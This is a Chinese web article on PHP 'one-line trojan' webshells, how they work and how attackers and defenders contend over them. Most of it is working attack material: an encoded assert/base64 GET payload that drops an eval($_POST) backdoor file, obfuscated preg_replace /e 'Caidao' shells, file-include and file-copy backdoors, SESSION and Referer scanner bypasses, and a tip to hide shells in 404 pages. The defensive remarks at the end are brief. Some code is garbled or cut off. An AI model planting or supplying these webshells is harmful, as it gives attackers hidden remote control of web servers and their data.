自动秒收录

一句话木马原理与攻防


文章编号:2451 / 更新时间:2023-12-11 / 浏览:

    一句话原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

对于不同的语言有不同的构造方法。

基本构造:最开头构造的是脚本开始的标记

核心部分:获取并执行得到的内容,通常类似eval、execute等

被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

其中的value就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

很明显的eval可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

一句话木马原理与攻防

同理,传给a值为@base64_decode(base64编码过后的eval)。

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

?a=assert&b=${fputs(fopen(c.php,w),1)};

执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor,字符串翻转,压缩,截断重组等等方法来绕过。

一般404页面放好后,很少有人会定期对404页面进行检查和修改。

如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。

利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

 $url,        CURLOPT_HEADER => FALSE,        CURLOPT_RETURNTRANSFER => TRUE,        CURLOPT_REFERER => $referer    ];    curl_setopt_array($ch, $options);        echo curl_exec($ch);

访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER的内容也会传递给1.php,通过1.php执行内容。一般来说,防火墙会对referer字段宽松一些,就可造成绕过。

//菜刀一句话$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$hh("/[discuz]/e",$_POST['h'],"Access");//危险的include函数,直接编译任何文件为php格式运行$filename=$_GET['xbid'];include ($filename);//重命名任何文件$reg="c"."o"."p"."y";$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);//菜刀一句话$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";$gzid("/[discuz]/e",$_POST['h'],"Access");//gif插一句话//危险的include函数,直接编译任何文件为php格式运行,POST  include ($uid);//典型一句话//使用lanker一句话客户端的专家模式执行相关的php语句//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入h=@eval_r($_POST1);//绕过

攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

守方:分析各种各样的函数,寻找有效的特征码来防止后门。

黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

安全审计人员:对那些通过GET,POST获取的超全局变量,进行细致的追踪,构造合适的过滤器。

语义分析:对GETPOST等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

针对超全局变量进行语义分析:


相关标签: 黑客攻击木马后门网站后门蜘蛛技巧超级蜘蛛查

本文地址:https://www.badfl.com/article/d3a8f4429d336d8fcfc2.html

上一篇:如何挖掘筛选长尾关键词...
下一篇:影响SEO流量的因素有哪些?...

发表评论

温馨提示

做上本站友情链接,在您站上点击一次,即可自动收录并自动排在本站第一位!
<a href="https://www.badfl.com/" target="_blank">自动秒收录</a>